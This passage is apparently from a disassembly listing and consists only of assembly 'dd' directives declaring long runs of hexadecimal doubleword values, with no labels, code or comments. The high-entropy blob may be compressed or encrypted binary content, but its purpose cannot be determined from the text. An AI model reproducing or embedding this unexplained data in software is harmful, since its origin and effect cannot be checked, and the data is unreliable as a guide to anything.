		dd 818F5F85h, 0F058B0E3h, 0A711FC02h, 38EC6901h, 0F05CE200h
		dd 52D0BC2Bh, 0A4D80015h, 0FCED45BDh, 0E100F980h, 0A96917C9h
		dd 0ED3862C0h, 90103474h, 13DB2074h, 57C6DA16h,	6D5F64D0h
		dd 387500ABh, 0FD8C0CEDh, 661F70FAh, 4603EFECh,	94CDC76Ah
		dd 390CCh, 83878825h, 0CE2218B0h, 491B9127h, 0DC10ED08h
		dd 3401B9DEh, 93E9CAD1h, 41E8DF06h, 42BD04F7h, 0B0F46171h
		dd 0A0B07DECh, 9F28B897h, 9A840035h, 0D0044402h, 640E5DEAh
		dd 0C0DDB8A5h, 56DF59DBh, 48A834EBh, 0C80CC8F4h, 1820C34Fh
		dd 2798AF4h, 80ABEC05h,	0C07AD59Ch, 27A84900h, 6B11BA32h
		dd 829100D4h, 19CA08DBh, 34B1F31Dh, 7065CF84h, 0BE0468B8h
		dd 49114DEFh, 0E4FC84B5h, 9CC71CCCh, 96BDE094h,	0A2013869h
		dd 7CB07AFCh, 0EC201859h, 2065F4F7h, 0E05CC5F9h, 0D45630CFh
		dd 9DBF0429h, 69E4EC38h, 0C1E87A7Eh, 0E050A550h, 63C98B03h
		dd 298A6DD7h, 80A4BF99h, 8486D3D4h, 1B1EA87Bh, 6405FA4h
		dd 0F8E78580h, 137673AAh, 95CCE0B0h, 11489070h,	0BAFAC77Eh
		dd 0A09FC4E8h, 80606F18h, 6632006Ch, 61B4F8EBh,	11C26B68h
		dd 59BD4896h, 0F75500C4h, 47F6E87Dh, 35D07400h,	4017F822h
		dd 8B150930h, 90D9DD46h, 0FF89E300h, 6A96E5h, 0B52911B8h
		dd 0CF347469h, 0FAB698A0h, 0C1BC4C1Eh, 0F3BB7000h, 35898C0h
		dd 0E0096D86h, 2080C882h, 2098231Dh, 0FEF01016h, 840D00BAh
		dd 80E7AA6h, 51442A14h,	0CBE00C08h, 0B712911h, 0D9BDEC99h
		dd 10D40050h, 10C8D2C4h, 5B82002Dh, 26F993BBh, 6B003A0Eh
		dd 15C8FC07h, 9846EE60h, 8824971Fh, 3B135FE7h, 2539E0B2h
		dd 0E279C48h, 6ADA84B8h, 6CE58000h, 0E1C6E2D3h,	5E4C0073h
		dd 0E91E8B98h, 54B67D36h, 65D33C01h, 402EF7D9h,	0B1A6C22Ch
		dd 6000C608h, 4E9093D6h, 6091AED4h, 4526100Bh, 0CA1E7A61h
		dd 10005DBEh, 0C072BB41h, 9D11003Dh, 91884964h,	0C838F7C9h
		dd 60F5AA1Dh, 24033842h, 447EF94h, 0C080114Ch, 0F2C7A826h
		dd 249F0E53h, 12607978h, 63DFBF7Ah, 0EFBD740Ah,	28042441h
		dd 7CC8173Eh, 325300A9h, 5F10C677h, 0DB0486E4h,	0E640E787h
		dd 27CD40C2h, 1092B077h, 0D50955DEh, 0C69F17A8h, 0F3D10014h
		dd 4E4D609Dh, 4500BFC4h, 9BAF413Dh, 946572EDh, 17378594h
		dd 0CCD810C0h, 81123DC0h, 0E11FAE9Fh, 0D3DF4974h, 984E003Ch
		dd 0FF17393Ah, 72CA129Dh, 0DA08206Ah, 1A00BE9Fh, 4E0D3944h
		dd 14C0871Bh, 942B82E7h, 0B0E4511h, 512AF5BFh, 0D591001Ch
		dd 3D814D2h, 0EE5A827h,	90005708h, 0D4596260h, 0C70C05D2h
		dd 230B166h, 0BABE1F08h, 6032051h, 0CFD51533h, 0D4F280DFh
		dd 1C14E0FBh, 44269EE7h, 41E498CFh, 739A8388h, 7208A477h
		dd 7D81C462h, 7B9147E0h, 0A4C90892h, 0CA0036ECh, 90F52286h
		dd 29A7BBh, 0A4A6E0A0h,	6A45B001h, 40954A12h, 590130B2h
		dd 14627FFAh, 887957h, 6058F5A3h, 3AE04506h, 380046B2h
		dd 0BF1C61BEh, 0D0A41830h, 0F55DC502h, 5092A6ECh, 779822D8h
		dd 99667225h, 0F428E878h, 4894CF85h, 0AAC06C14h, 810CDC65h
		dd 0E0703AC5h, 0A44ED1h, 84A90C55h, 788A69DAh, 90A2617Eh
		dd 0B2C02410h, 0E0C91604h
		dd 3B40C123h, 0D9666A51h, 0EEC3F30Bh, 0E0E54Fh,	6A04C67Ch
		dd 0EF394196h, 0A303773Fh, 0B6DE5CFDh, 8162F8F3h, 80487F13h
		dd 0D71F296Fh, 1443B163h, 0CB829675h, 0CEC2A88Dh, 0C04978Ah
		dd 99CF60C8h, 4028B468h, 6088D530h, 0C08E9601h,	6B3E4DAFh
		dd 62009822h, 0DE3F1385h, 0B7F8F3F6h, 904F58h, 0E8C071BBh
		dd 915045C2h, 20FA2C14h, 29C53B34h, 0F1D16618h,	1E88E649h
		dd 61E26BF4h, 6C389403h, 712E7E90h, 30C8624Bh, 9EB869Fh
		dd 0A2C8202Eh, 621CC431h, 0E30E2D86h, 5A18800Fh, 9E1C3B53h
		dd 0C33D42CCh, 49404074h, 7690DEh, 0F6EF7036h, 16F81AF5h
		dd 9CCF3200h, 546608C9h, 5957667h, 4F43BF38h, 7850F23Fh
		dd 402E4B03h, 8029D1D7h, 3D3B47h, 0F3B81060h, 3186F4E2h
		dd 792EE5ECh, 7C20D0CEh, 63A2F000h, 7375B5CCh, 0AF9E5C1Eh
		dd 981DE43Ch, 3DBF4F33h, 0BE6710C2h, 9C60985Eh,	1E02C95h
		dd 82294A5Ch, 0D9C1A01Eh, 0C015ECF0h, 9F2DD002h, 6067F8A7h
		dd 7F756204h, 5D9000D9h, 24ACDA7Dh, 0C30C8360h,	18FC0370h
		dd 36B3029Eh, 0C98A88C6h, 50B49843h, 0F4C94F83h, 442050AFh
		dd 0F9800DFCh, 2F08DD07h, 5C00F1C0h, 963C80Ch, 0E81EE50Ah
		dd 62C714E9h, 0FB1600DCh, 86451C02h, 0C1F91C95h, 0ECF1C082h
		dd 3B40C2D6h, 0CC6A3A26h, 0EE4028A9h, 496C122h,	2A1E837Bh
		dd 0CA688261h, 8060F93Ah, 3EF3C96Ah, 0D4985A68h, 7A5C919Fh
		dd 96193C32h, 29075003h, 501800B4h, 0FDE8826h, 20814A4Ah
		dd 91153F54h, 2DC65700h, 17D9E97Fh, 0CE40260h, 0BD0BE37Eh
		dd 6526946Eh, 0A56FFCD0h, 0F46C32h, 0E0E37657h,	43010B4Ch
		dd 0D20EC2E5h, 0AF8C18Ch, 60007642h, 0AD911D21h, 0B8B847E4h
		dd 387EBB04h, 94803A94h, 9742EE67h, 861C1C94h, 1AC01BF5h
		dd 0EF97E346h, 64D8B6DDh, 3B70516Ch, 913D0Ch, 0E96F23Ah
		dd 358F44Bh, 9F148A2Bh,	9908313h, 4313563Dh, 40520B0Ah
		dd 19126C0Dh, 7380246Ch, 0FBB39180h, 0A196C90Fh, 3DB024ECh
		dd 5E102088h, 3A108AB6h, 1C3C927Dh, 384DF020h, 68E005C3h
		dd 81B90511h, 3D87EB7Ah, 0DE384470h, 68AC9E0Bh,	8CC20037h
		dd 9CC9FD47h, 7C4880F8h, 0D367F9C7h, 9A921800h,	6D6CA67Ah
		dd 258BF627h, 0E09ABF3Bh, 2C90D498h, 0A03DB202h, 0EE19FF1Ch
		dd 65CB44F4h, 0AE43F500h, 5C8B6012h, 6CCD03ADh,	0E1EBF871h
		dd 4B0AC6B0h, 443FB72Dh, 0B0BEE8A8h, 5C604440h,	2F386209h
		dd 20C4641Eh, 0EAEC1598h, 38EF470Dh, 269299EDh,	1864D7F7h
		dd 75AD4580h, 84FA22h, 31A58B33h, 0FE9EF5CCh, 1DB033Ch
		dd 0CE392681h, 0C2CF795h, 83122058h, 0F3004E9h,	0D5848806h
		dd 0A4372900h, 0E6F2EC0Eh, 1871C9h, 4D40C794h, 0C8915B63h
		dd 6088154Bh, 0DB60038h, 2D40AA93h, 584F6B94h, 0EF24DC43h
		dd 431BB9A4h, 3404E4FCh, 0C010BB60h, 0C9BF9914h, 0ABADF402h
		dd 561FEF0Bh, 0A81B6094h, 0DC015FFBh, 0DD5BFDD6h, 7AF92DA6h
		dd 4D3538C4h, 1C5E50E5h, 3346C00Ch, 4341F806h, 640BEA2Ch
		dd 222AE451h, 0C40812D0h, 30327A16h, 101A11D4h,	1BA9BEh
		dd 96DDC10Dh, 0D3CC8CD5h, 0E91ECF04h, 813BAF4h,	0E4A51C6Ch
		dd 88710774h, 0A023F5C2h, 267BB6D3h, 6BF44053h,	16E80031h
		dd 0C07D078Fh, 87358539h, 7CFCD130h, 64AE3700h,	761CB2B6h
		dd 628001C6h, 0C0C83C0Ah, 3A24706Ah, 9F666809h,	867499AAh
		dd 1D80230Ch, 891B5E0h,	84EF0C3Bh, 384230B2h, 9302E622h
		dd 8F7B9D05h, 4450D892h, 905CCF1Ch, 7069C424h, 1A1FE4ACh
		dd 0A444AF25h, 7400E179h, 43DE384Fh, 0AE6771h, 6B855F0Ch
		dd 1814476Ch, 5FA4D80h,	9F60680Bh, 626802ACh, 0E0D41380h
		dd 0ECC4A7h, 0C011244h,	8F171E20h, 5D2CC590h, 71F2641h
		dd 940934D3h, 20C45Bh, 0D183530Dh, 376C5A8h, 0CED46100h
		dd 0EEECD659h, 0A4FCB91Dh, 0C1FA0938h, 28136C6Eh, 18327C15h
		dd 0BDC5200Eh, 0CE00BF17h, 19127963h, 52FBD6h, 0CA1F90C9h
		dd 0A99DF49Ah, 949C2098h, 56720F40h, 0C55700D1h, 27139CA2h
		dd 7D00883Ah, 443860CEh, 1EBA225Fh, 455CC38Dh, 8021E56Ch
		dd 0B258F8E8h, 3C103300h, 0BD26B59Bh, 1E5A1D61h, 90EC4011h
		dd 890557AEh, 57C7458h,	0C620BC5Fh, 7DBB51C0h, 90A45AC4h
		dd 0E2846000h, 0BF46D500h, 6C6148F8h, 0CC11C9E1h, 1322F418h
		dd 3E447E00h, 0D8614A47h, 9BCE000Bh, 1E3C3626h,	5E0012C6h
		dd 253AE151h, 177D684Dh, 326B72CAh, 601994E8h, 79257E08h
		dd 5244857h, 4094B98Ah,	0E1A4D6A0h, 618C3B12h, 6B0FE4F3h
		dd 38E21583h, 0B320C2C8h, 2AE24F5h, 0CA8BD0D3h,	54440723h
		dd 811DB23Fh, 0E2C67EC1h, 49A63C25h, 206E2D74h,	6A533B01h
		dd 0C3F3A966h, 94802478h, 5A0EA31Bh, 98A14E07h,	62519F7Ch
		dd 0DDF873C4h, 7264DC54h, 76C8D1h, 58FDCB81h, 386B4F77h
		dd 0B0B04280h, 0CF44B456h, 8771E1BFh, 2730F1A1h, 0BCEC91E6h
		dd 0FC94B044h, 0F3F1C1BDh, 0BF010032h, 0B5FEC632h, 36D820D2h
		dd 28F88526h, 39F3B100h, 439F6768h, 908721A9h, 0F6BE021Bh
		dd 0E49ACE2Ah, 3FA10028h, 402D325Fh, 1E0777DAh,	580AA80Ch
		dd 6A55E282h, 258DEECh,	27EF354Dh, 85570A4h, 47EE09B9h
		dd 0E2008C65h, 13A7ACBFh, 9B24005Ch, 2D3DD6F1h,	944E8157h
		dd 183B9881h, 816B3811h, 0CADD3739h, 287CD4E5h,	742073E2h
		dd 58A45Eh, 0B4B1D87Bh,	40CA6443h, 1CD87A4Eh, 2FC0C173h
		dd 231C2BF7h, 5DA3002Ch, 3B291534h, 70652ECEh, 0E611D0h
		dd 9B26E0BFh, 5BFFB84Ah, 0FA0823E5h, 18CF09ECh,	94D814h
		dd 565FEB42h, 66C39602h, 0F331EF01h, 624757D9h,	830F2829h
		dd 1A40B306h, 0F1FF89F2h, 3A9B1501h, 0E5BBA453h, 0FD0430h
		dd 0E0369E0Bh, 29A7CF83h, 0DBFAFB03h, 0B8CD2C84h, 0BCC946h
		dd 0F30DA87Ah, 17DDE25Fh, 0F9C6C00h, 7B882EA5h,	0F9727DD7h
		dd 78C4A1A5h, 0EE4C4416h, 702FB503h, 9F2DF054h,	5A9C175Eh
		dd 64610552h, 8214FDE2h, 0F61D1C2Ah, 57456004h,	96000EFCh
		dd 836AC9EDh, 601148B0h, 60DA21C5h, 300945E5h, 7141461Dh
		dd 0A2DFC0FCh, 0C8B3C630h, 74E2BF16h, 5F07E700h, 0CD2BB357h
		dd 17AFC000h, 0A54C286h, 9C60E9ACh, 7DE60038h, 3E529F0Dh
		dd 777C37ABh, 0A6876E0Fh, 666720D6h, 1D27ADBEh,	871D21F7h
		dd 107D42A7h, 0DC8E5F12h, 39B4C000h, 0B6EF3A78h, 0B8AC0790h
		dd 503E74E6h, 664C9F09h, 2D8DE800h, 171F6860h, 0F0C50973h
		dd 5C566B48h, 0DD100151h, 51004655h, 0BDFABE0Fh, 7011AA09h
		dd 3F8001EAh, 36B61876h, 93B07E44h, 8E90FA9h, 8B4152Ah
		dd 1D226009h, 34CA5818h, 9FD54401h, 0C49343C7h,	6301506Ch
		dd 86F506Ah, 1C6CEAF1h,	14458498h, 1C72EDF1h, 2843C80Ah
		dd 55710BF0h, 0EE08B8C5h, 2B02BC4Ch, 530B138h, 10BF3BC0h
		dd 0C6833B0Eh, 62545EC9h, 98C84A0Ch, 4179005Ah,	3961F65Fh
		dd 56008BDBh, 0F40692B5h, 95699Bh, 5CB115CAh, 671C34EEh
		dd 9C85F4Ch, 0A0076272h, 0EF2A7188h, 0DEFE23h, 5145A904h
		dd 1FB08E8Bh, 9CA2607Eh, 0CBE00801h, 1229A61Dh,	0A53FA207h
		dd 76603420h, 0FF4212FEh, 4A00F831h, 0FA0B488h,	0F9AF7123h
		dd 4052C9E4h, 55A7B5DAh, 0F5C00044h, 3EBF1DDDh,	9E002612h
		dd 49771BAEh, 0F834B1C8h, 0E4D2021Fh, 123817C9h, 0CB40B0D6h
		dd 7963572Eh, 0FE2900A0h, 0E8259115h, 0B600C78Eh, 0DE6BDCEh
		dd 0FAD74895h, 90D5E896h
		dd 41490098h, 57786B11h, 3E4CEC0Ch, 1FF80012h, 0C54CADEDh
		dd 7F700060h, 0DCEF597Dh, 0B338CDE0h, 0A5BE84CBh, 0ACA1C338h
		dd 0D02046DDh, 50A590A6h, 1FFBA437h, 0EA7CBA1h,	64E2D339h
		dd 510508D9h, 34A40810h, 64E229F8h, 2E5A740Fh, 5EE80820h
		dd 20FEE55h, 29AF26A5h,	5C4431D8h, 0ED5C3718h, 7712A7D0h
		dd 46FC612Dh, 0EAE42C7Eh, 47E70900h, 224EE536h,	1794009Fh
		dd 9CAFB3BEh, 9D988E64h, 0EC61712Ch, 216ADA40h,	0FB251770h
		dd 8EA891C0h, 0D7689469h, 1F6960A8h, 2C19CD08h,	48C0EC1Dh
		dd 88690698h, 0B7A2D2h,	92E36A38h, 739A2DD9h, 7188744Ah
		dd 0A21E120Ch, 8D80024h, 7BEC6168h, 306009BDh, 3854C713h
		dd 22732D02h, 58C6EFh, 0EAF7CC0Dh, 0EBF88425h, 8E263C39h
		dd 68AF1A32h, 0A0908E13h, 0DC7FFC80h, 48F08588h, 0CFB708A0h
		dd 44259D4Eh, 0F6074400h, 9C0243D0h, 6851A5F4h,	4C8B5580h
		dd 0D69005h, 0B50B7CEBh, 0BF51D2EFh, 6C095816h,	5EBDC020h
		dd 979D00F9h, 86F1E7D1h, 820E902Ah, 8491A0E0h, 0D4E29524h
		dd 0F7301C00h, 0B348AC71h, 535F7000h, 6BD4E152h, 2DB7386h
		dd 7E311007h, 0A051CE2Eh, 94D03E00h, 1B4659Fh, 0B0C9A3A2h
		dd 78F4D5D7h, 93A589F4h, 9891A754h, 0DC28B96Dh,	7DD6AC81h
		dd 0D08C210Fh, 150166E0h, 0DDCE4D42h, 486E80E5h, 1E95FAF0h
		dd 0F8728BF8h, 8CE44A08h, 6D146880h, 96F81399h,	49140408h
		dd 28967082h, 4430AC84h, 0F4E89171h, 110B0A1Fh,	122B26CBh
		dd 0E8608900h, 3BF7C641h, 0D8803619h, 4209EF13h, 0B41F07D4h
		dd 0CB85234Dh, 0DC30FA43h, 275737EEh, 2464E899h, 180B1A08h
		dd 20C58BC4h, 0F5E27058h, 90C1F66Bh, 0AD7D74h, 45C03AE0h
		dd 0A2318375h, 6BB97309h, 6E308054h, 91193C2Ah,	0AC2410h
		dd 0F412FD55h, 1823260h, 43EEC508h, 0ABC0EC72h,	0B4C29DD7h
		dd 3B4AD201h, 12DC3093h, 0C514CCh, 36B0B32Dh, 452B6113h
		dd 0DDD75201h, 6D539F86h, 0B89032E0h, 1E6701D0h, 566612C4h
		dd 81307CB9h, 52EB5D80h, 144095E8h, 0D4EA1D14h,	0F931BD80h
		dd 7A1E60C0h, 0D20BC9E1h, 1D077D90h, 0F88804ADh, 3008414Ch
		dd 29C2E050h, 0E07BA7BFh, 97C705F3h, 29412820h,	331CE8D0h
		dd 7F44AF63h, 30F85D88h, 3EBEA081h, 39F06F6Ah, 1A6B0BE8h
		dd 0C098976h, 612DB053h, 0AD12C1BCh, 5547EE02h,	0D4057096h
		dd 0E4F6C10Ah, 1384F4h,	7B28E0BEh, 6DE1291Ah, 5A801894h
		dd 0C365CB3Ch, 61F700B5h, 0E5CD9A85h, 0D81FCE7Ah, 40966ECFh
		dd 0D383F480h, 12950093h, 0D615B64Fh, 1A7773C9h, 71D26703h
		dd 1B0CAC7h, 7C164A18h,	20247D17h, 0B163C114h, 0FEF3B519h
		dd 11942830h, 4D6A0024h, 1A2BC35Eh, 0C00E8475h,	418D3BA2h
		dd 18DEF07Fh, 80E8D0h, 866A5BC7h, 78FFB57Ah, 8774CB3Dh
		dd 9D760305h, 778A146h,	22AE6D1Ch, 0FD155017h, 68C04AC6h
		dd 0EFE66BB3h, 2C400567h, 81B2FA3Dh, 2049F4C8h,	0C830C6FCh
		dd 98B7A9BEh, 7639C1D3h, 0CF921E6Bh, 0C99C1001h, 0C3FD162Eh
		dd 0F48E21BFh, 0B24F0357h, 66F846E0h, 39021829h, 33EBBC23h
		dd 374490F1h, 0F9A91EACh, 1851007Ch, 6216F781h,	0A2E3CD02h
		dd 0AE4B1D64h, 7C85878Ch, 223B4C70h, 72CB18B2h,	11B6A01Ah
		dd 0B7099A06h, 2A318299h, 4660CCC7h, 0DECA019Dh, 14C9CEC6h
		dd 0CD8E209Eh, 0CF695BEDh, 890C93A0h, 0BC5ACB09h, 0B52780CFh
		dd 8DE760h, 52150B5Dh, 53325614h, 7558D563h, 41C6EEh, 303BA4B7h
		dd 3A2240ABh, 898BE100h, 0FA4B6CBEh, 16A30A1Dh,	196C4D23h
		dd 20C506Bh, 4922212Bh,	166A104Fh, 26CE275h, 55B112C9h
		dd 14A45032h, 10FF404Ch, 0A105A851h, 0E11062D8h, 18544B99h
		dd 0E30A1494h, 8164D9Bh, 0B5D0FD01h, 688A7B6Ch,	2464ED09h
		dd 0F6C400A7h, 0AE8DFE80h, 25602100h, 0CAB76BA8h, 0FC42E9FAh
		dd 2B2F20C2h, 0BE009B27h, 88AEC62h, 1631B7FBh, 73F37FAh
		dd 200EA0C6h, 67E56BE7h, 41C92000h, 0ECFFAE26h,	84E00295h
		dd 0F37CFDD6h, 0E2009C44h, 946C1178h, 0A1AA9A38h, 8015D4F0h
		dd 129F1047h, 13040477h, 96ED2EA2h, 289DA481h, 0C680E1BBh
		dd 74879A8Eh, 990391C7h, 0D3C162BDh, 81E0D0B9h,	0E288A0FBh
		dd 190500C8h, 285EC95h,	93077859h, 0EF9FD535h, 14557210h
		dd 0E66A0020h, 8CED7F86h, 957B6DFDh, 6D19C22Eh,	6885CB03h
		dd 9D78E8EAh, 8AA40C0Dh, 0EDB15EFDh, 8900D4A4h,	78329DD3h
		dd 610D4569h, 0BFF6C86Bh, 87F82406h, 5D71300h, 27BE4DDh
		dd 0F8E7549Dh, 0B8CF55FCh, 7C2993E0h, 0E1B30CC1h, 8119D2D0h
		dd 8E9A302h, 0A2ADD3C7h, 0AE2A9DA4h, 0C686A088h, 445AB3h
		dd 5BCB08BEh, 54D5ABFAh, 5D0CF00h, 0FCB911BFh, 76B9C03Bh
		dd 1AE43502h, 52373909h, 17280075h, 0FF09E92h, 0ECA0A94h
		dd 7BCB68E0h, 823D675Fh, 10FBB0FCh, 97F7973h, 9C030B18h
		dd 25CE6C80h, 0C1694D1h, 6C02AECCh, 80579DCBh, 0B14DEC3h
		dd 0ED3D00A4h, 244B6A7Ah, 209E1D6h, 84A2DA6Bh, 5E871Ch
		dd 9204489Ch, 9400AA74h, 0D7F3BDE7h, 0D70CB77h,	0DFF4AED4h
		dd 0AFDED018h, 85D3C000h, 352EA19Fh, 49D161DAh,	32D2D5C7h
		dd 0CDFE18D4h, 0D3A819h, 0EB325B41h, 0F377BA5Ah, 0A929B764h
		dd 43BD1180h, 7B6EC0CAh, 9D16E88Ch, 6BCCC607h, 0C953BA83h
		dd 8A3101B5h, 0D0BC489Fh, 366AC827h, 0F367F40Ch, 0BF21B9h
		dd 0D58597EAh, 4673D7C6h, 87E9D01h, 145174E2h, 88C8E820h
		dd 47006C76h, 3D6BFB75h, 2D24C9h, 0D1DD1BA4h, 0D38539BAh
		dd 4C4C9548h, 1075C84Ch, 0F3760857h, 4E7880A2h,	7B92B9EFh
		dd 0A1534800h, 50BAB5C7h, 36380030h, 6FCEFF98h,	81327E15h
		dd 0C04D5059h, 0DA7D58h, 7B80C243h, 101973CBh, 9D241200h
		dd 0D78AA1FDh, 37F49075h, 40B9D5CCh, 0A51310FBh, 3356C3Dh
		dd 7C0C7FB2h, 88C1C07Eh, 0F08C985Ch, 4ECE655h, 68BDC6A2h
		dd 2CECC875h, 0DE4C40h,	85D53E9Bh, 129E7ED2h, 0DEDA31Eh
		dd 3686BB03h, 8403E50Bh, 12B20F55h, 40209DE9h, 0B98D5280h
		dd 2800B330h, 19121C1h,	0C868BCBh, 1A31CEC7h, 0AE882531h
		dd 5D40053h, 42C939AAh,	0EBEA222Fh, 905D7601h, 0F399CC61h
		dd 214DA0A6h, 0FE3500D0h, 0CD10240Eh, 0F0857326h, 0DC08EB13h
		dd 6153425Ch, 219D6A21h, 0A5577180h, 0C5F8B03Dh, 15E1FD01h
		dd 0AB702995h, 8AB6C860h, 34444066h, 0B4CE54FCh, 86E839A7h
		dd 4FC70281h, 91119A0Dh, 377BCCA0h, 0C449A3C9h,	0ED2C889Ch
		dd 0B8615260h, 0BF09A08h, 0D8EAFAECh, 17FC3C31h, 39C246h
		dd 82ADAEE8h, 113DED0Eh, 78676301h, 31973A74h, 635D0F7h
		dd 31C460FDh, 0A0ACC5F4h, 75801B00h, 20396F23h,	1C610105h
		dd 46D2558Bh, 0BB52F07Ch, 399B91DEh, 9A0CC0B1h,	26D0CAE9h
		dd 0AE3DC05Ch, 5F05DB8Fh, 0F42D43B3h, 35700C8h,	2AB44B60h
		dd 98FD8D95h, 0C68A8094h, 95F70E00h, 3F07E75Ah,	12B100ECh
		dd 5C249158h, 6C0B1029h, 0CB4C83E3h, 0C166C0A8h, 0DDF50434h
		dd 80DEB5D5h, 0D2A08304h, 1E9DA118h, 43E7B9h, 2B22E15Fh
		dd 0E996D334h, 2A3D4E04h, 5C82B8B2h, 23D8E006h,	4CFD0117h
		dd 0FEFAC76h, 787C6275h, 9FDDA9C0h, 1A2CEE3h, 936791A4h
		dd 0F45763FDh, 9473B2EAh, 0BFAA0A00h, 6F69D414h, 8F3584Dh
		dd 0E186ED18h, 0DF7D3B6Ah, 0A6A2C039h, 0C5007475h, 0CB058AFh
		dd 27E80149h, 9D4CBDB2h, 4DC1801Dh, 0F2F681A9h,	509E3F79h
		dd 819D713h
		dd 8A80C198h, 107E0A34h, 1EB200A5h, 0B43FB894h,	0CE0093F3h
		dd 552DEA6Dh, 0F154A9h,	95C4DB45h, 121722E7h, 76B153Ah
		dd 9A2CDCE9h, 8EF37FC0h, 19970F0Bh, 38E0C480h, 43585A2h
		dd 0E3A45300h, 0E8FDD498h, 0A5DD0D9Ch, 0C0A9249Dh, 7B72E26Ah
		dd 2ADC8100h, 619F351Ah, 0A0F0226h, 98D27E8Ah, 0D84F6469h
		dd 211D4B75h, 55C73E0h,	37552607h, 0A889EEC0h, 816D00D8h
		dd 34626BC7h, 0FD09B535h, 27BCF378h, 46C04D2Ch,	1C044AEh
		dd 41C3EFDAh, 8BBACAC7h, 13A3B721h, 44D4E2D8h, 993D09E0h
		dd 0DC8939BCh, 40AFC804h, 5D2916F4h, 0FEE90F01h, 74223F55h
		dd 0EC65B2D1h, 683BDC4h, 327100CBh, 0D6923085h,	0C114E7B4h
		dd 3BB414C0h, 66610083h, 0F77571CAh, 2090CFh, 354FEAD5h
		dd 485E7CFFh, 21DF5618h, 0BFED10h, 264D5460h, 0A5D814EBh
		dd 0C99FB719h, 0F7ED69h, 2D407D91h, 45912BDDh, 29C8491Eh
		dd 984CC40Bh, 47E4C8h, 0D9146719h, 5925BBC8h, 8887A80Eh
		dd 4271C00Bh, 8DB80Eh, 0CE3B5C19h, 0D28ED314h, 94C43950h
		dd 449A3401h, 0CBD00175h, 0BC415E9h, 0EE3C13B5h, 57F432A7h
		dd 92F58D80h, 877E540Ch, 30B1E52Ch, 70581D02h, 5C44FDh
		dd 8CB08978h, 42190AFFh, 382AA607h, 0BA60F8C7h,	597A473h
		dd 0F375937Ch, 0A3D440BBh, 0EC5BEBFEh, 6C1DDB00h, 0D8170CE7h
		dd 0BBAD2449h, 290800A4h, 4D27476Bh, 0D0EFDF26h, 0FA9F4460h
		dd 50F3F270h, 0D9EFF0h,	4F5868EEh, 9824931Ch, 0B259B30Fh
		dd 577FA02Eh, 40F9B8h, 93E1A343h, 7475576h, 0BC58ED2Ah
		dd 0DD6B5B01h, 0C77C3425h, 0E9FBFC8h, 21B3848Bh, 50CB3B00h
		dd 7212DA75h, 40427DBCh, 72F3B21Ah, 89D00044h, 0BF9943AFh
		dd 35885BECh, 7AF42Ah, 4651954Eh, 0EB8230F5h, 0DB3FC773h
		dd 97B78DDAh, 6442D9BCh, 0E6E320BAh, 5C00A559h,	8C8883Ch
		dd 2E5EBBEAh, 40089BB7h, 9949D775h, 2298A850h, 79605131h
		dd 4980A6F3h, 0A21E016h, 4D015371h, 0A97EEC5Fh,	0E300C66h
		dd 76590B11h, 6891CFC7h, 4329Eh, 3A5494B8h, 7453F7Ch, 2B169DC7h
		dd 0A23780EFh, 742CE33Bh, 0D14084F3h, 0FC2AD73h, 60A8E51Ch
		dd 0F26819E6h, 54E65A00h, 9B71FC39h, 5EA6004Dh,	1494D458h
		dd 56043D76h, 6D7E4BD9h, 0A9905497h, 4866B605h,	4DCEECB7h
		dd 0CEA429E0h, 0B27E505Dh, 9CCAA229h, 949CCB00h, 1EEF34C6h
		dd 0C0034B7Bh, 0D23ED70Dh, 64B85373h, 9300FCB9h, 28C042D9h
		dd 8041FF1Eh, 8E10B5D3h, 29C0C5FDh, 0A1365323h,	0CBD5001Dh
		dd 0FC2A3096h, 603969BAh, 557505CAh, 985D2236h,	0E4274812h
		dd 10E430C4h, 6AC8267Dh, 0D23F8598h, 0B4108711h, 94B704AFh
		dd 2C6004C9h, 992284B0h, 0CB1498D5h, 0B414BF28h, 24AF5D00h
		dd 632C2309h, 2D7598h, 860AB1CEh, 9D34CDB5h, 5D99C01h
		dd 0C8530E87h, 62BCA5F4h, 8C52B04Ch, 80356A23h,	0AC4809h
		dd 396BDA89h, 0AEE59899h, 0C3941B48h, 0A0917880h, 1F701023h
		dd 80A438E1h, 0AE849030h, 7302C574h, 9D1AD712h,	72B60027h
		dd 86091E7Ah, 80DBF1E9h, 0EB639E8Ch, 496F0095h,	0E24BE405h
		dd 0D6FB161Eh, 30FC873h, 0D880921Ch, 86BD072h, 3798C987h
		dd 15210582h, 118040A3h, 0B67214E1h, 8E189C95h,	0C616D880h
		dd 356C7F04h, 8B813AE3h, 0D1F6C775h, 7D65002Ch,	0D774EC9Ah
		dd 3E4CBF7Bh, 0CBC040B8h, 0CD601896h, 3C486D20h, 870B4D8Eh
		dd 4013D4A9h, 0C29B2000h, 6CF109Ch, 74E803F8h, 16364A6Eh
		dd 2381881Dh, 100151F5h, 70750C3Fh, 644FF088h, 0D42C10A5h
		dd 0B82D3C6Fh, 7534B300h, 80BF3C9Fh, 4EF0E607h,	4780C7B0h
		dd 0D1677h, 38D0C276h, 269D5650h, 3464BCA8h, 30ED9200h
		dd 0F9C8C0EAh, 40F40195h, 0F5E78148h, 41D86074h, 0A0B5D928h
		dd 0A1D0FC30h, 144CBA72h, 0B0064850h, 0C9119CD0h, 0D2B700B3h
		dd 3ECC1D7h, 24E7B4Ch, 0EE9718A1h, 4066D02Ch, 43928F00h
		dd 3A8031C6h, 7C6B07E3h, 0CB70ACB2h, 2C9DD687h,	0EB0096B1h
		dd 0C15F68A3h, 2EDF50D9h, 16B92453h, 0A1DF0145h, 45ADA7F6h
		dd 1C3183B8h, 227C3948h, 4E6B004Bh, 81945429h, 0CB0FDD76h
		dd 49CF9E64h, 0F4D70004h, 1EFA92CDh, 41FD358Ch,	0AD68942Bh
		dd 41D5E103h, 410C5508h, 801F9D14h, 8270DC69h, 0F95A67h
		dd 0E6BC599h, 59D1333Eh, 0EC98DB68h, 20AB3209h,	1ACF45DCh
		dd 8D5B0A7Eh, 1F908E7Fh, 0D02FC050h, 792141D7h,	0A0B06303h
		dd 0AA2848h, 97773118h,	0BA834FECh, 39124A02h, 40853AD1h
		dd 26D849C4h, 1CE440h, 387FD04Eh, 7003F45h, 0A5189D0Ch
		dd 3DE664Dh, 5CB20E52h,	403DFC61h, 10ACA0F6h, 41E1EDC0h
		dd 8067D1A8h, 3315AB18h, 61F9D0FDh, 0CB78A852h,	0F439002Ch
		dd 19CD8094h, 0E0898138h, 0D3FD7530h, 0E5AF033Bh, 1A6FCA0Dh
		dd 2180E820h, 1508A963h, 0C89C4799h, 89002271h,	0B188ADD8h
		dd 5ABC402Eh, 0C45F7008h, 9AB7F03Eh, 149E08B0h,	9EB9C6C0h
